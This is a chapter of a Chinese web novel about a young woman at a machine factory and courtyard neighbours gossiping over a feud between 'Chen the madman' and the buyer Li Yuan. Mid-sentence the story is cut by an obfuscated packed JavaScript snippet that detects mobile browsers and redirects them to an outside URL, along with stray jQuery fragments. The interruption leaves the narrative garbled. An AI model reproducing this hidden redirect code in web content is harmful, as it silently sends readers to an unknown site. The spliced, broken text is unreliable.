从四合院门口路过的人都恨不得离陈疯子远远地,一副“不认识他”的晦气模样。

    但薛晚就没法避开了,大门是她回家要路过的必经之地,于是薛晚只瞥了陈疯子一眼,就自顾自的往院里走,完全视陈疯子如空气的意思。

    “站住!”陈雪峰被薛晚无视,却是不甘心地怒吼一声。

    薛晚停下脚步,扭头看去,语气平淡:“咋得?想找事儿?”

    对待陌生人的语气让陈学峰喉头就是一梗,想怼回去又怕薛晚被他给气晕,到时候薛家几个大男人找他麻烦,只能憋闷的回了句“没事”,脸色更添了几分青黑的站回了门口。

    他和薛晚没龃龉,薛晚应该不会在厂里给他造谣。

    薛晚不知道陈学峰心里的想法,翻了个白眼儿,低声骂了句“脑子有病”就抬脚往家走去。

    薛母正在做晚饭,见薛晚回来,把她拉到一边悄声询问:“晚晚,回来的时候那个陈疯子没找你麻烦吧?”那意思,如果陈疯子敢找她女儿麻烦,等她男人回来以后,全家一起把场子找回来。

    “就拦了我一下,倒是没敢找我麻烦。”知母莫若女,见薛母小心翼翼中带着几分兴奋的神色,薛晚就知道亲妈的八卦分享欲上来了,自然十分配合道:“妈,你回来的早,知道咋回事儿不?陈疯子咋跟个‘门神’似的杵门口了?”

    “还能咋回事?”薛母撇撇嘴,乐呵呵地分享从院里的老姐妹那里得到的消息:“他和隔壁院那寡妇的闲话传的整个机械厂都知道了,下午回来就气冲冲地满院子找李原,说肯定是李原那孙子在厂里编排的他,要撕了李原的嘴。”

    “也是赶巧了,李原今儿早上就下乡采购物资去了,陈疯子扑了个空,气得直接到大门口堵人去了。刘嫂子和他说李原今儿不一定能回来,陈疯子还不信,说非等到李原回来揍死他不可。”

    薛晚听了薛母的话乐得直接笑出声来。

    该!

    让李原那混蛋昨天在门口纠缠清柔姐,活该黑锅被扣在他脑袋上。

    薛晚对男配给自己背黑锅没有丝毫心虚,李原本来就嘴贱的人尽皆知,大院众人深受其害,所以每每他和陈疯子打起来几乎没人劝架,都等着看李原被揍,可不就没人特意提醒了。

    大概是风暴来临前的宁静,这一晚的四合院格外热闹。

    隔壁院女主家中隐隐传来发脾气、摔打东西的声音,应该是女主的婆婆在打骂女主,时不时地还能听到女主小声地啜泣和孩子哇哇地嚎哭声。

    往日里听到女主被斥责,男主陈疯子早就跑去劝架了,这回大概是听够了厂里的风言风语,陈疯子依旧□□地站在院门口没有挪步,只是脸色越来越黑,拳头也越攥越紧,把院里的邻居吓得连公厕都不敢去了,就怕路过陈疯子旁边被他揍一拳。

    薛晚就着男女主那边的动静吃晚饭,觉得今天的饭菜格外的香。

    期待着李原和陈疯子狗咬狗,大哥薛伟也吃的津津有味。

    到了休息的时候,李原果然没回来,估计是大冬天的乡下路不好走,在村子里多住了几天,好一次性多采购些物资,这是采购员出差的常态,所以没人觉得不对。

    之后的几天,大雪又开始下了起来,下乡采购物资的李原依旧没回四合院,陈疯子也不气馁,照旧每天下班后雷打不动的在门口蹲守李原的身影,势要把人狠揍一顿才肯罢休。

    就这样,在大雪纷飞中十一月悄然而过,雪花飘飘北风萧萧的十二月来临,也代表着新的一年即将到来。

    不过比起过年,时人更关注的还是每个月该发工资的时候,薛晚也不例外,虽然她自己的工资不多,但老公余天来的公子高呀,两人加起来每月工资也有一百块呢。

    大概是日有所思夜有所梦,晚上迷迷糊糊地睡着后,居然梦到自己躺在一堆金光闪闪的金子上打滚,美的薛晚早上被吵醒后满心沮丧,她的钱哟~

    快速的刷牙洗脸,早饭是热乎乎的玉米碴子粥和咸菜窝头,冬日的早上吃上口热乎乎的饭菜,浑身都是舒坦的。

    吃完饭,余天来照例帮媳妇儿拎着挎包,和老丈人一起出门上班。

    路上遇到同在机械厂上班的工友,互相点点头就算打招呼了,毕竟这么冷的天,不想被冷空气糊一嘴,能不张嘴就不张嘴。

    一路安安静静的走到厂门口,和薛父、余天来道别后薛晚直接往仓库方向走。

    仓库办公室里,苏蓝正在捣鼓着给炉子生活,薛晚取下挎包后便拎着热水壶去打水。

    等王姨也到仓库后,三人聊了会儿就住了嘴,今天是月初,车间的人也该来领东西了。

    薛晚不是第一次给工人领取物资,和来领取东西的车间小组长也算熟悉,见了面也能聊上几句。

    因为物资登记做的清晰明了,她们工作起来也事半功倍,不过一上午的时间,各车间物资就领取的差不多了。

    于是到了下午,王姨就招呼她俩可以去财务科领工资了。

    别的科室、车间能不能每个月初一领到上个月的工资,薛晚和苏蓝不清楚,但她们劳保仓库每月工资从没延迟到第二天发放的。

    至于原因吗?

    还是那句话——背后有人不害怕。

    王姨她男人是她们机械厂财务科科长,鼎鼎大名的实权部门领导,怪不得王姨不怕陈疯子找麻烦呢,这才是天塌了有高个子顶着,薛晚和苏蓝再次享受到了人脉广带来的好处。

    领了工资,互相分享下想去百货商店买些什么好东西之类的,喷着阔,摸着鱼,下班铃声很快就响起来。

    到厂门口等了会儿,薛父和余天来也过来了,三人于是结伴回家。

    趁着半路无人,薛晚嘚瑟的和两人分享了已经领工资的事儿,惹得薛父羡慕不已。

    余天来看着媳妇儿和孩子得了糖似的高兴模样,摸了摸口袋里的钱没有说话,等晚上了再给媳妇儿,说不得媳妇见了钱眉开眼笑,会主动给他奖励呢吗,想想就让人兴奋。

    三人走到四合院门口,不出意外

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837790|211522||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的再次看到了蹲守在门边的陈疯子,不由驻足,直道陈疯子和李原这俩货真是对“欢喜冤家”啊!

    人李原都下乡采购好几天没回家了,陈疯子天天蹲在四合院大门边,揣着手,眼巴巴的等人回来,被冷风吹得直打喷嚏,流鼻涕,死活也不挪窝,这不是“真爱”是什么?

    要不是小说里男主最后和女主在一起,男配也娶媳妇儿了,苏晚真想高呼一句“男主男配是真爱,女主就是意外!”

    这时候,同样在院里居住,在机械厂上班的工人也回来了,对着陈疯子打趣道:“我说陈疯子,你天天守在这儿,是想给咱们四合院看大门怎么得?先说好啊,看门是你自愿的,冻出病来可别找我们负责。”

    旁边几个刚回来的四合院住户听了,也跟着起哄,这年头药可珍贵的很,病了可别讹上他们。

    “滚!老子自愿的,干你们屁事。”陈学峰没好气地骂了一句,这不说话还好,一说话就吸进一嘴冷空气,接着鼻子开始痒痒,喷嚏接二连三的打。

    “阿嚏!阿嚏!阿嚏!”

    “哎呦喂,赶紧跑,别被传染了。”

    “就是,大冬天的,我可不想感冒吃药。”

    原本想凑热闹的人瞬间躲得三丈远,骂骂咧咧的往家的方向跑。

    薛家三人组早就进了家门,洗了手后张罗桌椅,准备吃晚饭。

    他们家的晚饭依旧丰盛,感谢薛家大哥今天带回来的腊肉,为他们改善了伙食。

    正美滋滋地吃着饭,突然听见赵大爷扯着嗓子吆喝了一声:“李原回来了啊!”

    这一声吼如雷震耳,整个四合院的人都能听的一清二楚。

    果然,就听一片安静过后,下一刻被噎住的咳嗽声骂骂咧咧的嘈杂声纷纷响起。

    “赵大爷您没病吧?不就是李原回来了,您吼什么?把我家孩子噎着了怎么好?”

    薛母也同样骂道:“回来就回来呗,喊这么大声,吃饱了撑的啊!”

    瞧这模样,显然已经把陈疯子要找李原麻烦的事儿给忘了。

    薛母虽然忘了,薛家其他人可还记得好好地,当下饭也不吃了,把碗筷直接撩桌子上,“嗖”得一声,人已经消失在了桌边。

    不止薛家人如此,院里其他人家也是同样动作同样的速度,瞬间,饭点空空如也的院子挤满了看热闹的人,只有李原到陈学峰家门口的一亩三分地被清空出来,昭示着即将到来的激烈战况。

    好家伙,感情这一个个的都是吃瓜爱好者啊!男主还没出现呢,戏台子已经搭好了。

    李原还不知道赵大爷热情的态度和激动的迎接是为了什么呢?当下就准备把采购多出来的干蘑菇送出去一把,手刚摸上蘑菇,就见陈疯子跟个疯牛似的拽开门,怒瞪着他,一副咬牙切齿的模样。

    多年的挨揍经验让李原心里下意识就是“咯噔”一下,在陈疯子向自己冲过来的时候,下意识就扔了手里的自行车,转身往外跑去。

    “救命啊!陈疯子发疯了!”